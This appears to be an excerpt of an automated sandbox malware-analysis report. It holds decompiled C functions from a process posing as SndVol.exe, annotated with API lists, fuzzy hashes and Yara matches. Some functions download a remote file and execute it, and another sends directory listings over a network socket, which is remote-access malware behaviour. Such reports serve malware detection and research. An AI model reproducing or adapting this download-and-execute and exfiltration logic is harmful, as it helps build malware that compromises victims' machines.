                                    0x0040972b
                                    0x00409733
                                    0x0040973b
                                    0x00409740
                                    0x0040993a
                                    0x0040993d
                                    0x0040994a
                                    0x0040994a

                                    APIs
                                    • __EH_prolog.LIBCMT ref: 0040966A
                                    • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                                    • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                                    • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstH_prologNext
                                    • String ID:
                                    • API String ID: 1157919129-0
                                    • Opcode ID: c890f2ed6c1e78c2ea7e40fefb4936ef0057737614591e01a99b682766bee4ba
                                    • Instruction ID: 525c97918e5c5271dd4bd31ada74e7d79654deff71b7db8fdc34ab5a6e918570
                                    • Opcode Fuzzy Hash: c890f2ed6c1e78c2ea7e40fefb4936ef0057737614591e01a99b682766bee4ba
                                    • Instruction Fuzzy Hash: 26811A329001199ACB15EBA1DC969EDB378AF14318F10417FE506B71E2FF78AE49CB58
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00452561 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 89%
                                    			E00452561(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, signed int _a4, short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed int* _v24;
				short* _v28;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed int* _t46;
				signed int _t47;
				short* _t48;
				int _t49;
				short* _t56;
				short* _t57;
				short* _t58;
				int _t66;
				int _t68;
				short* _t72;
				intOrPtr _t75;
				void* _t77;
				short* _t78;
				intOrPtr _t85;
				short* _t89;
				short* _t92;
				void* _t94;
				short** _t102;
				short* _t103;
				signed int _t105;
				signed short _t108;
				signed int _t109;
				void* _t110;

				_t39 =  *0x47100c; // 0xbb2d687
				_v8 = _t39 ^ _t109;
				_t89 = _a12;
				_t105 = _a4;
				_v28 = _a8;
				_v24 = E004480E5(_t89, __ecx, __edx) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E004480E5(_t89, __ecx, __edx);
				_t99 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t92 = _t105 + 0x80;
				_t46 = _v24;
				 *_t46 = _t105;
				_t102 =  &(_t46[1]);
				 *_t102 = _t92;
				if(_t92 != 0 &&  *_t92 != 0) {
					_t85 =  *0x460344; // 0x17
					E00452504(0, 0x460230, _t85 - 1, _t102);
					_t46 = _v24;
					_t110 = _t110 + 0xc;
					_t99 = 0;
				}
				_v20 = _t99;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t99) {
					_t48 =  *_t102;
					__eflags = _t48;
					if(_t48 == 0) {
						L19:
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
						goto L20;
					}
					__eflags =  *_t48 - _t99;
					if( *_t48 == _t99) {
						goto L19;
					}
					E00451EA1(_t92, _t99,  &_v20);
					_pop(_t92);
					goto L20;
				} else {
					_t72 =  *_t102;
					if(_t72 == 0 ||  *_t72 == _t99) {
						E00451F87(_t92, _t99,  &_v20);
					} else {
						E00451EEC(_t92, _t99,  &_v20);
					}
					_pop(_t92);
					if(_v20 != 0) {
						_t103 = 0;
						__eflags = 0;
						goto L25;
					} else {
						_t75 =  *0x46022c; // 0x41
						_t77 = E00452504(_t99, 0x45ff20, _t75 - 1, _v24);
						_t110 = _t110 + 0xc;
						if(_t77 == 0) {
							L20:
							_t103 = 0;
							__eflags = 0;
							L21:
							if(_v20 != 0) {
								L25:
								asm("sbb esi, esi");
								_t108 = E0045238D(_t92,  ~_t105 & _t105 + 0x00000100,  &_v20);
								_pop(_t94);
								__eflags = _t108;
								if(_t108 == 0) {
									goto L22;
								}
								__eflags = _t108 - 0xfde8;
								if(_t108 == 0xfde8) {
									goto L22;
								}
								__eflags = _t108 - 0xfde9;
								if(_t108 == 0xfde9) {
									goto L22;
								}
								_t56 = IsValidCodePage(_t108 & 0x0000ffff);
								__eflags = _t56;
								if(_t56 == 0) {
									goto L22;
								}
								_t57 = IsValidLocale(_v16, 1);
								__eflags = _t57;
								if(_t57 == 0) {
									goto L22;
								}
								_t58 = _v28;
								__eflags = _t58;
								if(__eflags != 0) {
									 *_t58 = _t108;
								}
								E00448A19(_t89, _t94, _t99, _t103, _t108, __eflags, _v16,  &(_v24[0x94]), 0x55, _t103);
								__eflags = _t89;
								if(__eflags == 0) {
									L36:
									L23:
									return E00434F3B(_v8 ^ _t109);
								}
								_t33 =  &(_t89[0x90]); // 0x444adc
								E00448A19(_t89, _t94, _t99, _t103, _t108, __eflags, _v16, _t33, 0x55, _t103);
								_t66 = GetLocaleInfoW(_v16, 0x1001, _t89, 0x40);
								__eflags = _t66;
								if(_t66 == 0) {
									goto L22;
								}
								_t36 =  &(_t89[0x40]); // 0x444a3c
								_t68 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
								__eflags = _t68;
								if(_t68 == 0) {
									goto L22;
								}
								_t38 =  &(_t89[0x80]); // 0x444abc
								E00441E3F(_t38, _t108, _t38, 0x10, 0xa);
								goto L36;
							}
							L22:
							goto L23;
						}
						_t78 =  *_t102;
						_t103 = 0;
						if(_t78 == 0 ||  *_t78 == 0) {
							E00451F87(_t92, _t99,  &_v20);
						} else {
							E00451EEC(_t92, _t99,  &_v20);
						}
						_pop(_t92);
						goto L21;
					}
				}
			}



































                                    0x00452569
                                    0x00452570
                                    0x00452577
                                    0x0045257b
                                    0x0045257f
                                    0x0045258d
                                    0x00452592
                                    0x00452593
                                    0x00452594
                                    0x00452595
                                    0x0045259d
                                    0x0045259f
                                    0x004525a5
                                    0x004525ab
                                    0x004525ae
                                    0x004525b0
                                    0x004525b3
                                    0x004525b7
                                    0x004525be
                                    0x004525cb
                                    0x004525d0
                                    0x004525d3
                                    0x004525d6
                                    0x004525d6
                                    0x004525d8
                                    0x004525db
                                    0x004525df
                                    0x0045264f
                                    0x00452651
                                    0x00452653
                                    0x00452666
                                    0x00452666
                                    0x0045266d
                                    0x00452673
                                    0x00452676
                                    0x00000000
                                    0x00452676
                                    0x00452655
                                    0x00452658
                                    0x00000000
                                    0x00000000
                                    0x0045265e
                                    0x00452663
                                    0x00000000
                                    0x004525e6
                                    0x004525e6
                                    0x004525ea
                                    0x00452600
                                    0x004525f1
                                    0x004525f5
                                    0x004525f5
                                    0x00452609
                                    0x0045260a
                                    0x00452694
                                    0x00452694
                                    0x00000000
                                    0x00452610
                                    0x00452610
                                    0x0045261f
                                    0x00452624
                                    0x00452629
                                    0x00452679
                                    0x00452679
                                    0x00452679
                                    0x0045267b
                                    0x0045267f
                                    0x00452696
                                    0x004526a2
                                    0x004526ac
                                    0x004526af
                                    0x004526b0
                                    0x004526b2
                                    0x00000000
                                    0x00000000
                                    0x004526b4
                                    0x004526ba
                                    0x00000000
                                    0x00000000
                                    0x004526bc
                                    0x004526c2
                                    0x00000000
                                    0x00000000
                                    0x004526c8
                                    0x004526ce
                                    0x004526d0
                                    0x00000000
                                    0x00000000
                                    0x004526d7
                                    0x004526dd
                                    0x004526df
                                    0x00000000
                                    0x00000000
                                    0x004526e1
                                    0x004526e4
                                    0x004526e6
                                    0x004526e8
                                    0x004526e8
                                    0x004526f9
                                    0x004526fe
                                    0x00452700
                                    0x00452760
                                    0x00452683
                                    0x00452693
                                    0x00452693
                                    0x00452705
                                    0x0045270f
                                    0x0045271f
                                    0x00452725
                                    0x00452727
                                    0x00000000
                                    0x00000000
                                    0x0045272f
                                    0x0045273e
                                    0x00452744
                                    0x00452746
                                    0x00000000
                                    0x00000000
                                    0x00452750
                                    0x00452758
                                    0x00000000
                                    0x0045275d
                                    0x00452681
                                    0x00000000
                                    0x00452681
                                    0x0045262b
                                    0x0045262d
                                    0x00452631
                                    0x00452647
                                    0x00452638
                                    0x0045263c
                                    0x0045263c
                                    0x0045264c
                                    0x00000000
                                    0x0045264c
                                    0x0045260a

                                    APIs
                                      • Part of subcall function 004480E5: GetLastError.KERNEL32(00000020,?,0043A745,?,?,?,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B), ref: 004480E9
                                      • Part of subcall function 004480E5: _free.LIBCMT ref: 0044811C
                                      • Part of subcall function 004480E5: SetLastError.KERNEL32(00000000,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B,?,00000041,00000000,00000000), ref: 0044815D
                                      • Part of subcall function 004480E5: _abort.LIBCMT ref: 00448163
                                      • Part of subcall function 004480E5: _free.LIBCMT ref: 00448144
                                      • Part of subcall function 004480E5: SetLastError.KERNEL32(00000000,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B,?,00000041,00000000,00000000), ref: 00448151
                                    • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045266D
                                    • IsValidCodePage.KERNEL32(00000000), ref: 004526C8
                                    • IsValidLocale.KERNEL32(?,00000001), ref: 004526D7
                                    • GetLocaleInfoW.KERNEL32(?,00001001,004449BC,00000040,?,00444ADC,00000055,00000000,?,?,00000055,00000000), ref: 0045271F
                                    • GetLocaleInfoW.KERNEL32(?,00001002,00444A3C,00000040), ref: 0045273E
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                    • String ID:
                                    • API String ID: 745075371-0
                                    • Opcode ID: fa1670b29e0cff1f476005e56d7a6401a52f80e4e2cf6494cd076bea83c8f255
                                    • Instruction ID: 0f936232e0022454e9f69c201cbfccc583a3556e8039824134c836d081d2603f
                                    • Opcode Fuzzy Hash: fa1670b29e0cff1f476005e56d7a6401a52f80e4e2cf6494cd076bea83c8f255
                                    • Instruction Fuzzy Hash: 6751947190020AABDF10DFA5DD85BBF73B8AF05302F15056BED04E7252E7B89948CB69
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 91%
                                    			E0040880C(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t62;
				void* _t78;
				void* _t88;
				void* _t89;
				void* _t97;
				void* _t99;
				void* _t111;
				void* _t114;
				void* _t118;
				void* _t120;
				void* _t167;
				void* _t169;
				void* _t170;
				void* _t172;
				void* _t174;
				intOrPtr _t175;
				void* _t176;
				void* _t177;
				void* _t179;
				void* _t180;
				void* _t181;
				void* _t182;
				void* _t183;
				void* _t184;
				void* _t185;

				_t165 = __edx;
				_t120 = __ecx;
				E00457978(E00457D49, _t172);
				_t175 = _t174 - 0x2b0;
				_push(_t169);
				_push(_t167);
				 *((intOrPtr*)(_t172 - 0x10)) = _t175;
				_t118 = _t120;
				E004020DF(_t118, _t172 - 0x4c);
				 *(_t172 - 0x18) =  *(_t172 - 0x18) | 0xffffffff;
				if(_t118 != 0) {
					_t165 = 0x466468;
					_t111 = E004077C6(0x466468);
					_t188 = _t111;
					if(_t111 != 0) {
						_t185 = _t175 - 0x18;
						E0040905C(_t118, _t185, 0x466468, _t188, _t172 + 8);
						_t114 = E0041B384(_t118, _t172 - 0x34, 0x466468, _t172);
						_t175 = _t185 + 0x18;
						E00401F13(_t172 + 0x20, _t165, _t169, _t114);
						E00401F09();
					}
				}
				_t176 = _t175 - 0x18;
				E0040905C(_t118, _t176, _t165, _t188, _t172 + 8);
				_t62 = E0041B3BF(_t118, _t172 - 0x34, _t165, _t172);
				_t177 = _t176 + 0x18;
				E0040325D(_t62);
				E00401F09();
				L00409052(_t118, _t172 + 8, _t167, _t172, "\\");
				 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
				_t166 = _t172 + 8;
				_t170 = FindFirstFileW(E00401F04(E0040915B(_t172 - 0x34, _t172 + 8, _t172, "*")), _t172 - 0x2b4);
				 *(_t172 - 0x18) = _t170;
				E00401F09();
				if(_t170 == 0xffffffff) {
					 *((intOrPtr*)(_t172 - 0x1c)) = 2;
					E00439076(_t172 - 0x1c, 0x46ed90);
				}
				while(FindNextFileW(_t170, _t172 - 0x2b4) != 0) {
					if( *0x472b18 != 0) {
						E00401FD8();
						E00401F09();
						E00401F09();
						E00401FD8();
						_t78 = 0;
						__eflags = 0;
						L15:
						 *[fs:0x0] =  *((intOrPtr*)(_t172 - 0xc));
						return _t78;
					}
					if(( *(_t172 - 0x2b4) & 0x00000010) == 0) {
						_t179 = _t177 - 0x18;
						E004020F6(_t118, _t179, _t166, __eflags, _t172 + 0x38);
						_t180 = _t179 - 0x18;
						E0040905C(_t118, _t180, _t166, __eflags, _t172 + 0x20);
						_t88 = E0040417E(_t118, _t172 - 0x34, _t166, _t172, _t172 - 0x288);
						_t166 = _t172 + 8;
						_t89 = E004091C0(_t118, _t172 - 0x64, _t172 + 8, _t172, __eflags, _t88);
						_t181 = _t180 - 0x14;
						E00403262(_t118, _t181, _t172, __eflags, _t89);
						E00408A85(_t118, _t172 + 8, _t167);
						_t177 = _t181 + 0x48;
						E00401F09();
						L11:
						E00401F09();
						continue;
					}
					if(E0043F8A4(_t172 - 0x288, _t172 - 0x288, 0x466528) == 0) {
						continue;
					}
					_t97 = E0043F8A4(_t172 - 0x288, _t172 - 0x288, L"..");
					_t194 = _t97;
					if(_t97 == 0) {
						continue;
					}
					_t99 = E0040417E(_t118, _t172 - 0x64, _t166, _t172, _t172 - 0x288);
					_t166 = _t172 + 8;
					E004091C0(_t118, _t172 - 0x34, _t172 + 8, _t172, _t194, _t99);
					E00401F09();
					_t182 = _t177 - 0x18;
					E004020F6(_t118, _t182, _t172 + 8, _t194, _t172 + 0x38);
					_t183 = _t182 - 0x18;
					E0040905C(_t118, _t183, _t172 + 8, _t194, _t172 + 0x20);
					_t184 = _t183 - 0x18;
					E0040905C(_t118, _t184, _t166, _t194, _t172 - 0x34);
					E0040880C(_t118, _t166, _t194);
					_t177 = _t184 + 0x48;
					goto L11;
				}
				 *(_t172 - 4) =  *(_t172 - 4) | 0xffffffff;
				FindClose(_t170);
				E00401FD8();
				E00401F09();
				E00401F09();
				E00401FD8();
				_t78 = 1;
				goto L15;
			}































                                    0x0040880c
                                    0x0040880c
                                    0x00408811
                                    0x00408816
                                    0x0040881d
                                    0x0040881e
                                    0x0040881f
                                    0x00408822
                                    0x00408827
                                    0x0040882c
                                    0x00408832
                                    0x00408834
                                    0x0040883c
                                    0x00408841
                                    0x00408843
                                    0x00408845
                                    0x0040884e
                                    0x00408856
                                    0x0040885b
                                    0x00408862
                                    0x0040886a
                                    0x0040886a
                                    0x00408843
                                    0x0040886f
                                    0x00408878
                                    0x00408880
                                    0x00408885
                                    0x0040888c
                                    0x00408894
                                    0x004088a1
                                    0x004088a6
                                    0x004088b6
                                    0x004088d0
                                    0x004088d2
                                    0x004088d8
                                    0x004088e0
                                    0x004088e2
                                    0x004088f2
                                    0x004088f2
                                    0x004088f7
                                    0x00408914
                                    0x00408a55
                                    0x00408a5d
                                    0x00408a65
                                    0x00408a6d
                                    0x00408a72
                                    0x00408a72
                                    0x00408a74
                                    0x00408a77
                                    0x00408a84
                                    0x00408a84
                                    0x00408921
                                    0x004089ba
                                    0x004089c3
                                    0x004089c8
                                    0x004089d1
                                    0x004089e0
                                    0x004089e6
                                    0x004089ec
                                    0x004089f1
                                    0x004089f7
                                    0x004089fe
                                    0x00408a03
                                    0x00408a09
                                    0x004089ad
                                    0x004089b0
                                    0x00000000
                                    0x004089b0
                                    0x0040893c
                                    0x00000000
                                    0x00000000
                                    0x0040894a
                                    0x00408951
                                    0x00408953
                                    0x00000000
                                    0x00000000
                                    0x0040895f
                                    0x00408965
                                    0x0040896b
                                    0x00408974
                                    0x00408979
                                    0x00408982
                                    0x00408987
                                    0x00408990
                                    0x00408995
                                    0x0040899e
                                    0x004089a5
                                    0x004089aa
                                    0x00000000
                                    0x004089aa
                                    0x00408a10
                                    0x00408a15
                                    0x00408a1e
                                    0x00408a26
                                    0x00408a2e
                                    0x00408a36
                                    0x00408a3b
                                    0x00000000

                                    APIs
                                    • __EH_prolog.LIBCMT ref: 00408811
                                    • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                                    • String ID:
                                    • API String ID: 1771804793-0
                                    • Opcode ID: 577fdcee88bdf3e44d961e6a1fd2a9e3a230bd6c568bb96d7d11b4e0096bd26a
                                    • Instruction ID: 1e25ea764a26d30f01c3dd572c48bc94ecf5ec67ba3f50a755dda8da73b9c9de
                                    • Opcode Fuzzy Hash: 577fdcee88bdf3e44d961e6a1fd2a9e3a230bd6c568bb96d7d11b4e0096bd26a
                                    • Instruction Fuzzy Hash: 60515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 75%
                                    			E00406EB0(short* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				char _v28;
				char _v44;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				void* _v104;
				void* __ebx;
				void* __ebp;
				intOrPtr* _t33;
				void* _t50;
				signed char _t54;
				intOrPtr* _t57;
				void* _t59;
				void* _t63;
				void* _t70;
				void* _t72;
				void* _t77;
				intOrPtr* _t79;
				short* _t83;
				void* _t84;
				void* _t85;
				void* _t87;
				void* _t105;
				void* _t119;
				void* _t143;
				void* _t147;
				void* _t154;
				signed int _t155;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t162;
				void* _t166;

				_t166 = __eflags;
				_t138 = __edx;
				_t33 = E00401FAB( &_a8);
				_push(0xffffffff);
				_t87 = 4;
				_push(_t87);
				_push( &_v28);
				E004041A2( &_a8);
				_t158 = (_t155 & 0xfffffff8) - 0x2c;
				E004020F6(_t87, _t158, __edx, _t166, 0x474ee0);
				_t159 = _t158 - 0x18;
				E004020F6(_t87, _t159, __edx, _t166,  &_v44);
				E0041BD6D( &_v84, __edx);
				_t160 = _t159 + 0x30;
				_t147 =  *_t33 - _t87;
				if(_t147 == 0) {
					_t143 = 0;
					E00401E65( &_v64, __edx, _t154, __eflags, 0);
					__eflags = E00405B05("F");
					if(__eflags == 0) {
						E00401E65( &_v68, "F", _t154, __eflags, 0);
						_t138 = "M";
						__eflags = E00405B05("M");
						if(__eflags == 0) {
							L23:
							E00401E8D( &_v64, _t138);
							E00401FD8();
							E00401FD8();
							return 0;
						}
						_v68 = 0;
						_t50 = E00401FAB(E00401E65( &_v64, "M", _t154, __eflags, _t87));
						_t138 =  &_v76;
						__eflags = E0041B948(_t50,  &_v76,  &_v68);
						if(__eflags == 0) {
							_t105 = _t160 - 0x18;
							_push("2");
							L22:
							E00402093(_t87, _t105, _t138, _t154);
							_push(0xb3);
							E00404AA1(_a4, _t138, __eflags);
							goto L23;
						}
						_t138 = _v72;
						_t54 = E004184BA(0x472b38);
						L0043BC9C(_v72);
						_t162 = _t160 - 0x18;
						__eflags = (_t54 & 0x000000ff) - 1;
						L9:
						_t105 = _t162;
						if(__eflags != 0) {
							_push("3");
						} else {
							_push("1");
						}
						goto L22;
					}
					_t57 = E00401FAB(E00401E65( &_v68, "F", _t154, __eflags, 2));
					_t59 = E00401FAB(E00401E65( &_v68, "F", _t154, __eflags, 3));
					_t138 =  *_t57;
					E0040D982( &_v60,  *_t57, _t59);
					_t63 = E00401FAB(E00401E65( &_v72,  *_t57, _t154, __eflags, _t87));
					__imp__URLDownloadToFileW(0, _t63, E00401F04( &_v60), 0, 0);
					__eflags = _t63;
					if(__eflags == 0) {
						L4:
						if( *((char*)(E00401FAB(E00401E65( &_v84, _t138, _t154, _t170, 1)))) == 0) {
							_t119 = _t160 - 0x18;
							_push("0");
						} else {
							_t70 = ShellExecuteW(_t143, L"open", E00401F04( &_v72), _t143, _t143, 1);
							_t119 = _t160 - 0x18;
							_t172 = _t70 - 0x20;
							if(_t70 > 0x20) {
								_push("1");
							} else {
								_push("3");
							}
						}
						L17:
						E00402093(_t87, _t119, _t138, _t154);
						_push(0xb3);
						E00404AA1(_a4, _t138, _t172);
						E00401F09();
						goto L23;
					}
					L14:
					_t119 = _t160 - 0x18;
					_push("2");
					goto L17;
				}
				_t168 = _t147 != 1;
				if(_t147 != 1) {
					goto L23;
				}
				_t143 = 0;
				E00401E65( &_v64, __edx, _t154, _t168, 0);
				_t72 = E00405B05("F");
				_t169 = _t72;
				if(_t72 == 0) {
					E00401E65( &_v68, "F", _t154, __eflags, 0);
					_t138 = "M";
					__eflags = E00405B05("M");
					if(__eflags == 0) {
						goto L23;
					} else {
						_t138 = E00401FAB(E00401E65( &_v64, "M", _t154, __eflags, _t87));
						_t77 = E004184BA(0x472b38);
						_t162 = _t160 - 0x18;
						__eflags = _t77 - 1;
						goto L9;
					}
				}
				_t79 = E00401FAB(E00401E65( &_v68, "F", _t154, _t169, 2));
				E0040D982( &_v60,  *_t79, E00401FAB(E00401E65( &_v68, "F", _t154, _t169, 3)));
				_t83 = E00401F04( &_v60);
				_t84 = E00401E65( &_v72,  *_t79, _t154, _t169, _t87);
				_t138 = _t83;
				_t85 = E0041C444(_t84, _t83);
				_t170 = _t85 - 1;
				if(_t85 != 1) {
					goto L14;
				}
				goto L4;
			}







































                                    0x00406eb0
                                    0x00406eb0
                                    0x00406ebf
                                    0x00406ec4
                                    0x00406ec8
                                    0x00406ece
                                    0x00406ed3
                                    0x00406ed4
                                    0x00406ed9
                                    0x00406ee3
                                    0x00406ee8
                                    0x00406ef2
                                    0x00406efb
                                    0x00406f00
                                    0x00406f03
                                    0x00406f05
                                    0x0040702e
                                    0x00407035
                                    0x0040704a
                                    0x0040704c
                                    0x004070ec
                                    0x004070f1
                                    0x004070fd
                                    0x004070ff
                                    0x0040716d
                                    0x00407171
                                    0x0040717a
                                    0x00407182
                                    0x0040718f
                                    0x0040718f
                                    0x00407105
                                    0x00407116
                                    0x0040711b
                                    0x00407127
                                    0x00407129
                                    0x00407154
                                    0x00407156
                                    0x0040715b
                                    0x0040715b
                                    0x00407163
                                    0x00407168
                                    0x00000000
                                    0x00407168
                                    0x0040712b
                                    0x00407134
                                    0x00407140
                                    0x00407146
                                    0x00407149
                                    0x00407016
                                    0x00407016
                                    0x00407018
                                    0x00407024
                                    0x0040701a
                                    0x0040701a
                                    0x0040701a
                                    0x00000000
                                    0x00407018
                                    0x0040705b
                                    0x0040706f
                                    0x00407074
                                    0x0040707b
                                    0x00407099
                                    0x004070a0
                                    0x004070a6
                                    0x004070a8
                                    0x00406f8d
                                    0x00406fa2
                                    0x004070c4
                                    0x004070c6
                                    0x00406fa8
                                    0x00406fbc
                                    0x00406fc5
                                    0x00406fc7
                                    0x00406fca
                                    0x004070ba
                                    0x00406fd0
                                    0x00406fd0
                                    0x00406fd0
                                    0x00406fca
                                    0x004070cb
                                    0x004070cb
                                    0x004070d3
                                    0x004070d8
                                    0x004070e1
                                    0x00000000
                                    0x004070e1
                                    0x004070ae
                                    0x004070b1
                                    0x004070b3
                                    0x00000000
                                    0x004070b3
                                    0x00406f0b
                                    0x00406f0e
                                    0x00000000
                                    0x00000000
                                    0x00406f14
                                    0x00406f1b
                                    0x00406f27
                                    0x00406f30
                                    0x00406f32
                                    0x00406fdb
                                    0x00406fe0
                                    0x00406fec
                                    0x00406fee
                                    0x00000000
                                    0x00406ff4
                                    0x00407005
                                    0x0040700c
                                    0x00407011
                                    0x00407014
                                    0x00000000
                                    0x00407014
                                    0x00406fee
                                    0x00406f41
                                    0x00406f61
                                    0x00406f6b
                                    0x00406f77
                                    0x00406f7c
                                    0x00406f80
                                    0x00406f85
                                    0x00406f87
                                    0x00000000
                                    0x00000000
                                    0x00000000

                                    APIs
                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                                    • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: DownloadExecuteFileShell
                                    • String ID: C:\Windows\SysWOW64\SndVol.exe$open
                                    • API String ID: 2825088817-1291576107
                                    • Opcode ID: 915c36cde747194aab2d5273e932ef3f5b31eb4112c58695ca0b623e301c0ffd
                                    • Instruction ID: b76c28a9284acc4f9f0379a9aafa0633bf84ad0c76ece0dc4423b436809d2d3b
                                    • Opcode Fuzzy Hash: 915c36cde747194aab2d5273e932ef3f5b31eb4112c58695ca0b623e301c0ffd
                                    • Instruction Fuzzy Hash: E761AF71B0820156CA24FB76C8669BE77A99F81748F40093FF942772D2EE3C9905869B
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 82%
                                    			E0040783C(char _a4) {
				void* _v16;
				struct _WIN32_FIND_DATAW _v596;
				char _v620;
				void* _v632;
				char _v644;
				void* _v648;
				char _v652;
				void* _v656;
				char _v668;
				char _v676;
				void* _v700;
				void* __ebx;
				void* __esi;
				void* __ebp;
				int _t29;
				void* _t34;
				void* _t49;
				void* _t71;
				void* _t74;
				void* _t75;
				void* _t77;

				_t74 = FindFirstFileW(E00401F04( &_a4),  &_v596);
				_t80 = _t74 - 0xffffffff;
				if(_t74 != 0xffffffff) {
					E004020DF(_t49,  &_v668);
					E0040417E(_t49,  &_v644, _t71, _t75,  &(_v596.cFileName));
					_t72 = 0x466528;
					_t29 = E004077B7(__eflags);
					_t50 = _t29;
					E00401F09();
					__eflags = _t29;
					if(__eflags != 0) {
						E00401FE2( &_v676, 0x466528, _t74, E004020B7(_t50,  &_v644, 0x466528, 0x250, __eflags,  &_v596, 0x250));
						L5:
						E00401FD8();
					}
					__eflags = FindNextFileW(_t74,  &_v596);
					if(__eflags != 0) {
						_t34 = E004020B7(_t50,  &_v620, _t72, 0x250, __eflags,  &_v596, 0x250);
						_t72 =  &_v676;
						E00401FE2( &_v676,  &_v676, _t74, E00406362(_t50,  &_v652,  &_v676, 0x250, __eflags, _t34));
						E00401FD8();
						goto L5;
					}
					E004020F6(_t50, _t77 - 0x18, _t72, __eflags,  &_v668);
					_push(0x50);
					E00404AA1(0x475058, _t72, __eflags);
					E00401FD8();
				} else {
					E0041BC70(_t49, _t77 - 0x18,  &_a4);
					_push(0x54);
					E00404AA1(0x475058,  &_a4, _t80);
				}
				return E00401F09();
			}
























                                    0x0040785d
                                    0x0040785f
                                    0x00407862
                                    0x0040788a
                                    0x0040789b
                                    0x004078a0
                                    0x004078a7
                                    0x004078b0
                                    0x004078b2
                                    0x004078bc
                                    0x004078be
                                    0x004078d4
                                    0x00407914
                                    0x00407914
                                    0x00407914
                                    0x00407925
                                    0x00407927
                                    0x004078e9
                                    0x004078ef
                                    0x00407902
                                    0x0040790b
                                    0x00000000
                                    0x00407910
                                    0x00407933
                                    0x00407938
                                    0x0040793f
                                    0x00407948
                                    0x00407864
                                    0x00407870
                                    0x00407875
                                    0x0040787c
                                    0x0040787c
                                    0x00407962

                                    APIs
                                    • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                                    • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: FileFind$FirstNextsend
                                    • String ID: XPG$XPG
                                    • API String ID: 4113138495-1962359302
                                    • Opcode ID: 74d50511c9856d1e06dc484ccd727f403ecd09ce7fc6717e656b38843f8ef71f
                                    • Instruction ID: 8eda93569bdb099ff81c4451dbd7710535267c5b7685f9cbf0c287d60b7ad9f2
                                    • Opcode Fuzzy Hash: 74d50511c9856d1e06dc484ccd727f403ecd09ce7fc6717e656b38843f8ef71f
